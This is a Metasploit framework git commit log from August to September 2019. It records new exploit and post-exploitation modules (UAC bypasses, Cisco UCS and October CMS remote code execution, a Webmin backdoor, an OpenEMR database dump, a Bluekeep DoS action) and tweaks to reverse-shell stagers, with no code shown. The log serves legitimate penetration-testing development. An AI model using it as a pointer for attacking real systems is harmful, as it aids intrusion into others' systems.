Brendan Coles aaad280e13 Land #12294, Fix References Array for bypassuac modules 2019-09-08 05:04:03 +00:00
AZSG a990191f99 Update modbusclient.rb 2019-09-07 23:54:43 -05:00
h00die 054a092eb2 fix references in bypassuac modules 2019-09-08 00:42:21 -04:00
h00die 78c4bfee95 add url for fodhelper 2019-09-08 00:33:16 -04:00
h00die f60e8a3dbd less indents 2019-09-08 00:11:11 -04:00
h00die ce5f8d8d2f add datastore option 2019-09-08 00:06:49 -04:00
h00die d6cfe021dc Land #12291 log errors on payload loading issues 2019-09-07 23:55:39 -04:00
h00die d25d8e77b8 12291 sempervictus words 2019-09-07 23:54:19 -04:00
Clément Notin 579ea56f3b RDP_TLS_SECURITY_LEVEL default value is 0 (less secure) 2019-09-07 18:39:59 +02:00
Clément Notin 49a991891c Add RDP_TLS_SECURITY_LEVEL advanced option 2019-09-07 17:19:59 +02:00
Brent Cook a985da9318 expand scope of errors caught to include all StandardErrors 2019-09-07 07:38:37 -04:00
Brent Cook 1d91e7f53c make payload generation failures at boot time non-fatal
Currently, if any payload fails to generate that has a dynamic size, it causes a Framework instance to throw an exception on start. This can happen for a number of reasons, and more often than not it is enviromental (files missing, Y2k38 bugs, etc.). Instead of failing entirely, catch the exception and log as an error, don't register the payload, but continue booting.
2019-09-07 07:21:40 -04:00
gkweb76 795e0ebeb5 Restore a "print" to "print_good"
Aesthetics modification
2019-09-07 09:02:04 +02:00
AZSG edcddf2736 Update modbusclient.rb 2019-09-06 22:40:31 -05:00
Clément Notin d4e2ac696a RDP lib: lower SSL security level for compatibility with stock Win7 2019-09-07 01:17:22 +02:00
Metasploit 9a6830c0ad automatic module_metadata_base.json update 2019-09-06 12:10:24 -05:00
bwatters-r7 25b56c410d Land #12189, Add module for LibreNMS CVE-2019-10669
Merge branch 'land-12189' into upstream-master
2019-09-06 12:01:09 -05:00
Metasploit 2ec2ecb969 automatic module_metadata_base.json update 2019-09-06 10:22:57 -05:00
Shelby Pace c4bd91f505 Land #12272, add October CMS file upload 2019-09-06 10:13:33 -05:00
Shelby Pace b0625012c4 add vulnerable software version 2019-09-06 10:12:08 -05:00
Shelby Pace 5f7c243b48 add filedropper, fix check, add to docs 2019-09-06 09:49:09 -05:00
Metasploit 788e3b4363 automatic module_metadata_base.json update 2019-09-06 09:33:59 -05:00
bwatters-r7 17acaf9720 Land #12226, fix #11574, add WSReset.exe UAC Bypass
Merge branch 'land-12226' into upstream-master
2019-09-06 09:19:24 -05:00
Touhid M Shaikh aaebec01a4 Update References
Added CVE and Blog link
2019-09-06 18:26:28 +05:30
bwatters-r7 e2815a997b Land #12251, Unify SSL cert generate interfaces
Merge branch 'land-12251' into upstream-master
2019-09-05 16:45:31 -05:00
gkweb76 a2d2475618 Fixed wrong previous commit 2019-09-05 22:12:33 +02:00
gkweb76 88d424cf3f Make the modification suggested by @acammack-r7
Directly insert the new value in the "table", instead of modifying the screen output manually. Simpler and cleaner, thanks @acammack-r7 !
2019-09-05 21:44:18 +02:00
Metasploit 22182d5c8d automatic module_metadata_base.json update 2019-09-05 13:25:28 -05:00
Touhid M Shaikh cf4c10783a Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-05 23:50:18 +05:30
Touhid M Shaikh 4b416bf530 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-05 23:48:43 +05:30
Touhid M Shaikh a7e205e252 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-05 23:48:32 +05:30
Touhid M Shaikh 0e4e7dd9d9 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-05 23:48:22 +05:30
Touhid M Shaikh bc1610ec46 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-05 23:48:14 +05:30
Tim W 9f03db4582 Land #12280, add WSReset.exe UAC bypass via registry 2019-09-06 02:14:54 +08:00
Tim W 1a717a5624 minor fixes 2019-09-06 02:11:06 +08:00
Metasploit ea6ab34c32 Bump version of framework to 5.0.47 2019-09-05 12:13:53 -05:00
bwatters-r7 20216ac81a Fix documentation to new module name 2019-09-05 12:08:12 -05:00
Tim W 5123fdbb5e s/pkexec_helper_ptrace/ptrace_traceme_pkexec_helper/g 2019-09-06 01:00:44 +08:00
bwatters-r7 a1f39e519f Move documentation 2019-09-05 11:57:51 -05:00
bwatters-r7 4e5e29fb52 Update documentation 2019-09-05 11:56:32 -05:00
Tim W cc9d9bb483 s/bypassuac_windows_store/bypassuac_windows_store_filesys/g 2019-09-06 00:52:13 +08:00
bwatters-r7 481c13ea0f Rubocop changes 2019-09-05 11:44:00 -05:00
bwatters-r7 cf3f6c90f8 Renamed file to make room for the other UAC bypass targeting the same exe 2019-09-05 11:35:10 -05:00
bwatters-r7 b876afa20f Fixed up the code before pushing it. 2019-09-05 11:33:05 -05:00
Metasploit 56b0d57548 automatic module_metadata_base.json update 2019-09-05 11:28:50 -05:00
Adam Cammack 598cf35e1e Land #12271, Don't mangle staged x86, x64 payloads 2019-09-05 11:18:45 -05:00
James Lee 56d81052e8 Save the data we just collected
Instead of just throwing it away after printing.
2019-09-05 09:47:04 -05:00
bwatters-r7 9281c0de12 Add some missing pieces to the UAC pypass? 2019-09-04 17:03:32 -05:00
Adam Cammack 2ee5ec97e4 Use smallest stager size
Since these stagers can shrink based on the expected size of the next
stage, do our best to anticipate a small size. This makes the cached
payload size consistent for now, though if the x64 mettle stager grows
past 128 bytes I think we'll see the stager start oscillating in size
again. If you run into that and are reading this, sorry :(
2019-09-04 16:06:44 -05:00
Adam Cammack 4d89dd83e3 Update payload cached size
For real this time?
2019-09-04 15:17:34 -05:00
Adam Cammack de554b315a Update cached size 2019-09-04 14:56:12 -05:00
Adam Cammack bb0f1b02ac Fully golf the x86 read size 2019-09-04 14:54:48 -05:00
Will Porter 106913f631 Correct csv string. 2019-09-04 17:43:34 +00:00
Touhid M Shaikh b9e702458d Update documentation/modules/exploit/multi/http/october_upload_bypass_exec.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 23:01:44 +05:30
Metasploit ccd6895365 automatic module_metadata_base.json update 2019-09-04 12:16:18 -05:00
William Porter 2cd93cc097 Update documentation and actually save loot as csv file. 2019-09-04 13:08:49 -04:00
Shelby Pace 490800f834 Land #11643, add Awind SNMP RCE 2019-09-04 12:06:36 -05:00
Shelby Pace 8dbb41ee5b remove extra line 2019-09-04 12:04:46 -05:00
Will Porter 1b9bb964b8 Adjust loot filename. 2019-09-04 16:56:28 +00:00
William Porter 0ee3324535 Use store_loot properly, check response.nil? before consuming body. 2019-09-04 12:21:59 -04:00
William Porter 50f5d80328 Fix code highlighting in documentation description. 2019-09-04 11:09:05 -04:00
Will Porter c433cd4007 Remove erroneous ? from URI path. 2019-09-04 15:04:56 +00:00
Will Porter 74647c314a Use Rex::Text.rand_text_alphanumeric and remove gsub as a weak excuse for encoding. 2019-09-04 07:53:36 +00:00
Touhid M Shaikh 71c1c07b0d fixed
fix EOF on 88 line
2019-09-04 13:08:26 +05:30
William Porter 5963bbd6f9 Remove broken include. 2019-09-04 03:30:13 -04:00
William Porter d0803e49be Make changes as suggested in the pull request reviews. 2019-09-04 03:18:58 -04:00
Touhid M Shaikh aeaf4232fe updated
typo, comments and check fixed
2019-09-04 12:46:31 +05:30
Touhid M Shaikh 5e63c83257 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 12:37:21 +05:30
Touhid M Shaikh 9179ce1de1 Update documentation/modules/exploit/multi/http/october_upload_bypass_exec.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 12:32:23 +05:30
Touhid M Shaikh 90b639da71 Update documentation/modules/exploit/multi/http/october_upload_bypass_exec.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 12:32:15 +05:30
Touhid M Shaikh 974f078114 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 12:29:32 +05:30
Touhid M Shaikh bb8b3245a3 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 12:28:59 +05:30
Touhid M Shaikh f0eb7da43b Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 12:28:51 +05:30
Touhid M Shaikh 7359e4bdd6 fixes suggested by @space-r7
fixed check before passing to the accessor, removed res which is not used.
2019-09-04 12:20:39 +05:30
RageLtMan 04e750024c Clean up linux/x86/rev_tcp asm per acammack
Push read_size to edx as suggested by Adam, optimize shellcode a
bit by selecting using dx instead of edx for sizes under 64K.

Testing:
  Internal only, creates session on every try instead of every 5th.
2019-09-04 01:51:54 -04:00
William Porter 2b97522b69 Fix the CVE format based on failed tests. 2019-09-04 01:36:20 -04:00
William Porter 80aee24d65 Add an auxiliary module to exploit OpenEMR CVE CVE-2018-17179.
Dump all tables in the OpenEMR database and save the data in .csv
format in the loot directory.
2019-09-04 01:18:54 -04:00
bwatters-r7 49c7fe8906 Update payload cache size 2019-09-03 18:25:26 -05:00
bwatters-r7 06a7267017 Bump payload version 2019-09-03 18:13:01 -05:00
RageLtMan e091c8f248 Add port KWA to shell version of ruby ssh payload 2019-09-03 17:41:27 -04:00
Metasploit b1f58b4606 automatic module_metadata_base.json update 2019-09-03 14:26:02 -05:00
bwatters-r7 a520b62df3 Land #12273, Require msf/core/handler/bind_tcp
Merge branch 'land-12273' into upstream-master
2019-09-03 14:15:59 -05:00
RageLtMan 80522a5712 Clean up linux/x64/rev_tcp asm per acammack
Address Adam's comments on the PR - remove redundantly pushed
size from mmap section.
2019-09-03 15:01:52 -04:00
Touhid M Shaikh 6c6603bbd7 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-03 23:18:31 +05:30
Touhid M Shaikh aee17608cd Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-03 23:17:50 +05:30
Touhid M Shaikh 6934af0b7d Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-03 23:15:33 +05:30
Shelby Pace bcd181c87d require bind tcp 2019-09-03 09:14:34 -05:00
Clément Notin 72672c82f9 Fix syntax 2019-09-03 15:17:28 +02:00
Tim W ac9b4c137c add compile.rb 2019-09-03 18:46:13 +08:00
Tim W 415caafabe add docs 2019-09-03 17:54:15 +08:00
Tim W bade8bfc48 add live compiling 2019-09-03 17:31:04 +08:00
Touhid M Shaikh c9b0054629 october_upload_bypass_exec Doc
october_upload_bypass_exec Documetation
2019-09-03 12:26:41 +05:30
Touhid M Shaikh 615661a03d first build
first build of october_upload_bypass_exec
2019-09-03 12:04:38 +05:30
RageLtMan 97943261ed Linux x86 reverse_tcp should read known # of bytes
See notes for x64.

This part does not appear to be working properly yet - stages
generated with this commit recv 102b on the first call to read(),
but subsequently things seem to go off the rails after the
intermediate stage is loaded.

Needs testing and fixup at present for x86 (no worse than before
in terms of success rate however).
2019-09-03 01:55:12 -04:00
RageLtMan 05944ba8c1 Linux x64 reverse_tcp should read known # of bytes
The linux x64 reverse tcp stager is hardcoded to read 4K off the
socket. When a small intermediate stager is used, this can result
in reading part of the next stage as well, which means that the
intermediate stager will never recv the # of bytes it needs and
hang indefinitely.

Break out the mettle piece to use separate methods for assembly and
binary payload generation as well as actually putting the product
on the existing session socket.

Change the first part of the stage to check for the intermediate
stager generation method, and use the size of the produced stager
in the recvfrom call or fall back to the prior 4K read size.

Testing:
  None yet

Ping @bcook-r7, @acammack-r7, @OJ, @ZeroSteiner
2019-09-03 01:27:27 -04:00
gkweb76 13560e93c0 Improve ADSI GPO filter to return only one result 2019-09-02 20:15:00 +02:00
Metasploit 288bb56c7f automatic module_metadata_base.json update 2019-09-02 12:41:31 -05:00
h00die ea50149ba7 land #12212 linux LPE ktsuss exploit 2019-09-02 13:32:45 -04:00
h00die 4b9e748882 ktsuss misc fixes 2019-09-02 13:31:30 -04:00
Metasploit 86d6b34da8 automatic module_metadata_base.json update 2019-09-02 10:56:25 -05:00
h00die f1ec0da154 land #12263 fixing a bug in unattend 2019-09-02 11:22:57 -04:00
h00die 5b89c221f0 land #11799 linux local priv esc for cached sudo privs 2019-09-02 11:12:21 -04:00
Brendan Coles 3dc68cfaaa Fix #12262 2019-09-01 18:51:13 +00:00
Tim W cd13a83eb2 add arch check 2019-08-31 20:54:18 +08:00
gkweb76 71b825ee06 Update gpp.rb to display GPO name
GPO files on SYSVOL do only include the GPO GUID, not the GPO name defined by the administrator. This modification makes this gpp module make an ADSI query to retrieve all of the domain's GPOs, and compare their GUID. If one GUID matches, then we know the GPO name and we can display it. On a pentest, a client is much more interested by knowing the GPO name rather than the obscure GUID. The ADSI query relies on meterpreter "extapi" extension.
2019-08-31 12:37:49 +02:00
Pedro Ribeiro 825d93786e Merge pull request #11 from rapid7/master
aaaa
2019-08-31 14:03:43 +07:00
Metasploit ea14054c0d Bump version of framework to 5.0.46 2019-08-30 16:09:29 -05:00
Jeffrey Martin 40da748cd8 Land #12254, realname calls in the cache to fullname 2019-08-30 16:02:13 -05:00
Adam Cammack b98327472a Correct realname calls in the cache to fullname 2019-08-30 15:38:45 -05:00
Metasploit 378b685478 Bump version of framework to 5.0.45 2019-08-30 14:15:42 -05:00
Adam Cammack 40169c8d42 Update to fixed rex-socket
Pulls in https://github.com/rapid7/rex-socket/pull/19
2019-08-30 14:02:57 -05:00
William Vu 6f58981396 Land #12244, cisco_ucs_scpuser exploit 2019-08-30 13:35:50 -05:00
William Vu 83de041894 Land #12243, cisco_ucs_rce exploit 2019-08-30 13:35:29 -05:00
William Vu 789c017135 Land #12059, cisco_dcnm_download aux module 2019-08-30 13:35:00 -05:00
William Vu 042c181f67 Land #12058, cisco_dcnm_upload_2019 exploit 2019-08-30 13:33:19 -05:00
Metasploit 89317ec87c automatic module_metadata_base.json update 2019-08-30 13:32:25 -05:00
William Vu a66fa7d79d Land #12133, CVE-2019-1663 RV{110,215}W targets 2019-08-30 13:23:00 -05:00
Pedro Ribeiro e36308e5bb Add FD ref 2019-08-31 00:18:46 +07:00
Pedro Ribeiro d422a2e4b1 add fd link 2019-08-31 00:18:20 +07:00
William Vu b0b72892be Deprecate/delete cisco_rv130_rmi_rce by alias 2019-08-30 12:03:43 -05:00
Metasploit 23e6c46ea9 automatic module_metadata_base.json update 2019-08-30 12:03:25 -05:00
William Vu 49b3af3870 Merge remote-tracking branch 'upstream/master' into pr/12133 2019-08-30 12:01:48 -05:00
Brent Cook c1be4a7ad3 Land #12252, update .mailmap 2019-08-30 11:52:22 -05:00
Brent Cook cc9a2a1668 update current employees 2019-08-30 11:50:56 -05:00
William Vu 2ea5e90764 Land #12223, module deprecation by alias 2019-08-30 11:36:50 -05:00
Adam Cammack 991639c493 Unify SSL cert generate interfaces
After this and rex-socket#19 the interfaces should be compatible again.
2019-08-30 00:01:55 -05:00
Metasploit c00ef799b4 Bump version of framework to 5.0.44 2019-08-29 12:11:39 -05:00
Pedro Ribeiro 139a4a490f Create cisco_ucs_scpuser.md 2019-08-29 22:58:24 +07:00
Pedro Ribeiro 1ae21a411f Create cisco_ucs_rce.md 2019-08-29 22:52:30 +07:00
Pedro Ribeiro 542c75d59e Create cisco_dcnm_download.md 2019-08-29 22:49:11 +07:00
Pedro Ribeiro 23d7a0ed2b Create cisco_dcnm_upload_2019.md 2019-08-29 22:45:03 +07:00
dwelch-r7 6afe0fc43b Add dwelch to mailmap 2019-08-29 16:43:10 +01:00
Pedro Ribeiro 0c1f3f2d03 make some adjustments 2019-08-29 19:50:01 +07:00
Pedro Ribeiro 40b0d02f39 make some adjustments 2019-08-29 19:49:37 +07:00
Pedro Ribeiro 3dd9c38fd1 Update cisco_dcnm_upload_2019.rb 2019-08-29 12:42:01 +07:00
Pedro Ribeiro bbbf426ec7 make requested changes 2019-08-29 12:16:58 +07:00
Pedro Ribeiro f9ddc1d18f Make more changes 2019-08-29 12:15:20 +07:00
Pedro Ribeiro bda1120cac make requested changes 2019-08-29 11:14:40 +07:00
Pedro Ribeiro b96d9c75ac make requested changes 2019-08-29 11:05:57 +07:00
Pedro Ribeiro c88ce55013 Add github link 2019-08-28 11:08:35 +07:00
Pedro Ribeiro 98efac5bfb Add github link 2019-08-28 11:08:01 +07:00
Pedro Ribeiro 7fd56f5fb3 Add Cisco UCS scpuser exploit 2019-08-28 11:00:08 +07:00
Pedro Ribeiro d6f47fd03a s/Directory/Director 2019-08-28 10:58:41 +07:00
Pedro Ribeiro 1aad95f7c4 Add exploit for Cisco UCS RCE 2019-08-28 10:55:49 +07:00
Pedro Ribeiro 804412f9d6 Merge pull request #10 from rapid7/master
AAAA
2019-08-28 10:54:05 +07:00
Clément Notin caafac3455 meterpreter, fs/file.rb: use client's separator instead of '\\' 2019-08-27 18:12:47 +02:00
Clément Notin f8b7100565 meterpreter UI, fs.rb: use client's separator instead of '\\' 2019-08-27 17:58:51 +02:00
Adam Cammack bcccfd86b8 Teach module cache about realname
Also uses the class refname where appropriate since an instances refname
reflects the alias currently in use and if a module is reloaded while
using an alias the old behavior would generate spurious cache entries
that would not be cleaned up or modified. Specifically, this could
register a self-referential alias that would cause a stack overflow when
trying to `use` such an alias.

Additionally, some other `fullname`s were changed to `realname`s for
clarity.
2019-08-26 13:26:48 -05:00
Dezzy ec81ee8f08 Update modules/auxiliary/gather/pulse_secure_file_disclosure.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-08-26 08:21:02 -05:00
Dezzy f796f55cea Update modules/auxiliary/gather/pulse_secure_file_disclosure.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-08-26 08:20:44 -05:00
Dezzy e103194ec4 Update modules/auxiliary/gather/pulse_secure_file_disclosure.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-08-26 08:20:36 -05:00
Tim W 64695f1354 initial commit 2019-08-24 13:42:22 +08:00
Tim W ea3e2c1047 fix #11574, add WSReset UAC Bypass 2019-08-24 13:35:40 +08:00
Metasploit 9ea327ecdd automatic module_metadata_base.json update 2019-08-23 10:32:40 -07:00
Shelby Pace 413cd7194d Land #12064, add Exim Local Privesc module 2019-08-23 12:23:53 -05:00
Metasploit d551b88600 automatic module_metadata_base.json update 2019-08-23 07:06:06 -07:00
Jacob Robles e628fb4afa Land #12219, Add Webmin password_change.cgi backdoor exploit 2019-08-23 08:46:24 -05:00
Adam Cammack 6a8f6d7a57 Unify spec and lib 2019-08-22 18:03:13 -05:00
Adam Cammack 8aa00d97aa Add new moved_from to moved module 2019-08-22 17:58:20 -05:00
William Vu 901943c90f Move Ubiquiti AirOS exploit from SSH to HTTP 2019-08-22 17:58:20 -05:00
William Vu 67b427f277 Remove expired deprecated modules 2019-08-22 17:58:20 -05:00
Adam Cammack 948918dacb Use alias when reloading aliased module
Also speeds up module reloads by avoiding module instance creating
without a type.

Fixes #12026
2019-08-22 17:58:20 -05:00
Adam Cammack d8e8a33b46 Rewrite Msf::Module::Deprecated w/ alerts, aliases
Less janky, and allows module moves without copying!
2019-08-22 17:58:20 -05:00
Adam Cammack 969ad7aa8a Add Msf::Module::Alert for alerting users 2019-08-22 17:58:20 -05:00
Metasploit 1c4d9cfff6 Bump version of framework to 5.0.43 2019-08-22 10:08:14 -07:00
Metasploit c000625815 automatic module_metadata_base.json update 2019-08-21 15:58:25 -07:00
William Vu dff2aed1ac Simplify request by combining POST parameters
There's no need to discriminate between versions. Send 'em all.
2019-08-21 17:50:48 -05:00
OJ 071626ed34 Land #12186 - Add RDP Fingerprinting 2019-08-22 08:44:08 +10:00
William Vu d56e7d47b5 Add "analysis" 2019-08-21 17:05:40 -05:00
William Vu 856bf22597 Add module doc 2019-08-21 16:56:23 -05:00
William Vu 6b8c0bc589 Simplify targets with automatic targeting 2019-08-21 16:41:41 -05:00
William Vu 3f4c0e972b Refactor check and support 1.900-1.920 targets 2019-08-21 16:16:56 -05:00
Dezzy dbcdfe8332 Create pulse_secure_file_disclosure.rb 2019-08-21 15:58:58 -05:00
William Vu 227ea6de3a Fix typo 2019-08-21 15:41:45 -05:00
William Vu 55b5e6a616 Drop =~ habit 2019-08-21 11:55:03 -05:00
William Vu a6d7011efa Adjust check 2019-08-21 11:42:49 -05:00
Dezzy d1a510234f Delete pulse_secure_file_disclosure.rb 2019-08-21 11:35:35 -05:00
William Vu 5de2b37110 Add diff3 output between 1.{890,930,920} 2019-08-21 11:17:12 -05:00
Brent Cook cb66828b78 Land #12221, Fix RPC console.create database active check 2019-08-21 09:02:51 -05:00
Matthew Kienow 776c7268f5 Fix database active check 2019-08-21 09:35:15 -04:00
Dezzy 88107648cd Update pulse_secure_file_disclosure.rb 2019-08-21 07:57:15 -05:00
Dezzy 88a941cbd6 Create pulse_secure_file_disclosure.rb 2019-08-21 07:42:43 -05:00
William Vu c6f8dedf45 Add more words and an additional reference 2019-08-21 02:26:17 -05:00
William Vu 41d4dafdca Add Webmin password_change.cgi backdoor exploit 2019-08-21 02:02:26 -05:00
Brent Cook 931607826a Land #12218, explicitly require factory_bot in spec helper 2019-08-20 07:52:18 -05:00
Brent Cook 40d11b2fdd explicitly require factory_bot, see #12181 2019-08-20 06:54:34 -05:00
Brent Cook 262cd89859 Land #12168, fix HTTP client redirects with SSL enabled 2019-08-20 04:03:37 -05:00
Brent Cook bd90241192 set opts['SSL'] above for consistency 2019-08-20 04:03:10 -05:00
Brent Cook d1b482366b Land #12181, add Juniper config parser tests 2019-08-20 03:48:16 -05:00
Brent Cook 95e69930a1 Land #12214, enable TLS1.0 support for RDP lib 2019-08-20 03:36:19 -05:00
Metasploit d1b939990b automatic module_metadata_base.json update 2019-08-19 11:44:59 -07:00
Shelby Pace bc6cff3d4f Land #12207, add LibreOffice/Logo file fmt exploit 2019-08-19 13:14:23 -05:00
Shelby Pace 8fd5c1e0c1 remove PrependMigrate option 2019-08-19 13:12:54 -05:00
Clément Notin 40b74211c9 RDP lib: accept TLS 1.0 2019-08-19 19:48:25 +02:00
Brendan Coles 9ce3365d56 Add documentation 2019-08-19 13:34:52 +00:00
Brendan Coles ca82e6cd25 Add ktsuss suid Privilege Escalation module 2019-08-19 13:28:02 +00:00
Load dc07b78dcd @LoadLow Marks the generated ODT file readonly 2019-08-18 18:36:31 +02:00
Load 9b1a3b4033 Marks the generated ODT file readonly
Prevents autosave and further modifications after opening the document on the target system.
2019-08-18 17:59:25 +02:00
Load e6b72b5b43 Cleanup odt metadata
Metadata part is not mandatory on ODT files
2019-08-18 17:51:36 +02:00
Load 6b4acbc3ac Updates scenarios 2019-08-18 15:14:37 +02:00
Load b0a531982e Adds default options
- Changes target to Automatic
- Set default options instead of default target for options
- Adds links for the two vulnerabilities exploited by this module
- Removes unnecessary double encoding+eval
2019-08-18 14:42:48 +02:00
Load 6483b97c13 Merge pull request #1 from space-r7/pr12207-changes
Use Python instead of platform-dependent code
2019-08-18 14:38:26 +02:00
Shelby Pace 409b3c9c4b using python payload for platform independence 2019-08-16 15:36:42 -05:00
Load 3838fc2164 Adds references to the next CVE
This new CVE explains this exploit (global events are used)
2019-08-16 12:59:23 +02:00
Load 7e44194251 References next CVE with global events 2019-08-16 12:54:01 +02:00
Metasploit 015651dd08 automatic module_metadata_base.json update 2019-08-15 17:08:06 -07:00
William Vu b8b4edc243 Land #12203, autofilter=false for a couple modules 2019-08-15 19:00:15 -05:00
Metasploit 8ad7fbf5f9 automatic module_metadata_base.json update 2019-08-15 16:54:23 -07:00
Brent Cook d5115295af Land #12205, prefer https always 2019-08-15 18:42:14 -05:00
William Vu fb6d5d603d Update generate splat from http:// to https:// 2019-08-15 18:11:39 -05:00
William Vu 32334c2386 Update all module splats from http:// to https:// 2019-08-15 18:10:44 -05:00
Brent Cook 4d48515ae2 Disable a couple of modules for autoexploitation that produce false positives on newer systems. 2019-08-15 16:33:40 -05:00
Metasploit adcc69a1ac Bump version of framework to 5.0.42 2019-08-15 10:08:04 -07:00
Metasploit fb4d2521ef automatic module_metadata_base.json update 2019-08-15 08:37:42 -07:00
William Vu 76f526df99 Land #12202, needs_cleanup for post modules 2019-08-15 10:29:31 -05:00
Brent Cook 3437ba758b Land #12199, fix invalid range backtrace when RHOSTS is invalid 2019-08-15 07:28:57 -05:00
bwatters-r7 1701dae701 Add needs_cleanup to the post module class so filedropper does not
crash everything trying to set that variable.
2019-08-15 07:27:28 -05:00
Brent Cook ceb09ddf44 Land #12198, fix training wheels for 'generate' command 2019-08-15 07:22:29 -05:00
bwatters-r7 8833bddd91 Fix options in ssh command 2019-08-15 07:13:59 -05:00
Rene Riedling dee7e9d690 moved module to another directory 2019-08-15 11:01:53 +02:00
William Vu 3aad5accac Fix nil RangeWalker length for invalid range
reset returns false and doesn't initialize length.
2019-08-14 21:40:58 -05:00
William Vu 141350dbc1 Update help 2019-08-14 21:28:13 -05:00
William Vu 25a66a245f Prefer import_options_from_s over manual parsing 2019-08-14 21:08:00 -05:00
William Vu e20d9e8c4f Fix another typo 2019-08-14 21:04:06 -05:00
William Vu f81a326ac1 Fix typo 2019-08-14 20:43:40 -05:00
William Vu a53fe44d8e Properly parse option string anyway with -o 2019-08-14 20:32:53 -05:00
William Vu 45747c45f7 Remove extraneous -s NOP sled option 2019-08-14 20:32:31 -05:00
William Vu e3463d0cd8 Prefer Rex::Text.dehex over Rex::Text.hex_to_raw 2019-08-14 20:32:30 -05:00
Rene Riedling 5f8aaef683 Added option to choose ssl/tls based connections 2019-08-14 15:56:58 +02:00
Rene Riedling e83ae828b5 Added option to choose SSL/TLS based connections 2019-08-14 15:55:39 +02:00
Rene Riedling ea0fd7edef Updated documentation to match scanner version 2019-08-14 13:54:19 +02:00
Rene Riedling 5e45c3e469 Recoded the tool to a scanner. 2019-08-14 13:32:11 +02:00
Shelby Pace 70d5bd4eb3 add default payload, check login 2019-08-13 13:39:15 -05:00
Shelby Pace 286263c094 add quotes, platform 2019-08-13 11:18:31 -05:00
Shelby Pace 48333c5d4e randomize parameter value 2019-08-13 11:14:10 -05:00
William Vu d676f98d56 Remove already included Msf::Exploit::Remote::Tcp 2019-08-13 10:56:03 -05:00
Adam Cammack dbe856297a Land #12188, fix module authors script's full_name 2019-08-13 10:19:03 -05:00
Shelby Pace da98d3d376 finish documentation and module 2019-08-13 09:47:24 -05:00
James Lee 760f4fc25d Fix typo, full_name -> fullname 2019-08-12 19:30:43 -05:00
Shelby Pace 71f4eadd18 module rework and some documentation 2019-08-12 15:22:22 -05:00
Jacob Robles e1e1cd9020 Land #12161, Store opasswd password history 2019-08-12 09:22:50 -05:00
Spencer McIntyre 63dfa2a8bd Fix the RDP NLA protocol detection 2019-08-11 19:23:29 -07:00
Spencer McIntyre 84669f567b Add the RDP fingerprinting method to rdp_scanner 2019-08-11 16:20:14 -07:00
Spencer McIntyre e8057b0b55 Add an initial fingerprinting method for rdp 2019-08-11 01:24:55 -07:00
h00die a2160c84c6 juniper config parser tests 2019-08-10 09:39:26 -04:00
NickTyrer a5bbd7d1f5 update documentation 2019-08-10 09:03:04 +01:00
Brendan Coles 47cfcba53a Add documentation 2019-08-10 07:08:01 +00:00
Brendan Coles 9fdee466ca Update ptrace_sudo_token_priv_esc 2019-08-10 07:03:23 +00:00
Shelby Pace 76da9ea4fc get shell with test data 2019-08-09 08:40:41 -05:00
Steve Embling 46005eb933 Updated References 2019-08-09 14:08:47 +01:00
NickTyrer 4747049440 add documentation 2019-08-09 08:47:26 +01:00
NickTyrer baea8d1f5f add documentation 2019-08-08 21:14:02 +01:00
NickTyrer 373e409184 add module applocker_evasion_workflow_compiler 2019-08-08 18:48:10 +01:00
NickTyrer 320642e3c0 add module applocker_evasion_regasm_regsvcs 2019-08-08 18:36:36 +01:00
Metasploit 78e5536064 Bump version of framework to 5.0.41 2019-08-08 10:05:14 -07:00
Shelby Pace 9418f4bac2 Land #12032, add Xymon gather info module 2019-08-08 10:55:40 -05:00
William Vu f317987e02 Land #12175, hadoop_unauth_exec NoMethodError fix 2019-08-07 22:44:55 -05:00
William Vu b5fd9b4fed Fix whitespace 2019-08-07 22:44:38 -05:00
Green-m 6cf0ff0678 Fix #12156, NoMethodError in hadoop exploit. 2019-08-08 10:06:40 +08:00
Brent Cook 3ea79c4ccb Land #12170, add 'Crash' action to Bluekeep scanner to send DoS payload 2019-08-07 19:40:24 -05:00
Tom Sellers 46b6a5927e Comment update 2019-08-07 19:25:43 -05:00
Tom Sellers 4861a139ca Minor comments 2019-08-07 19:20:36 -05:00
Tom Sellers 9566334868 merge upstream/master 2019-08-07 19:11:58 -05:00
William Vu de68af975b Land #12171, Msf::Exploit::Remote::RDP mixin 2019-08-07 17:03:14 -05:00
Tom Sellers 93e6ff67b4 Addressing feedback 2019-08-07 16:37:59 -05:00
Tom Sellers 2d5e9cb241 RDP: address feedback from wvu 2019-08-07 14:47:33 -05:00
Brent Cook 18da91a348 Add 'Crash' action for enabling the DoS 2019-08-07 11:38:14 -05:00
Tom Sellers f78c6469b8 RDP: rubocop cleanup lib 2019-08-07 10:28:24 -05:00
Tom Sellers de8cd38eb2 RDP: rubocop cleanup packets 2019-08-07 10:00:18 -05:00
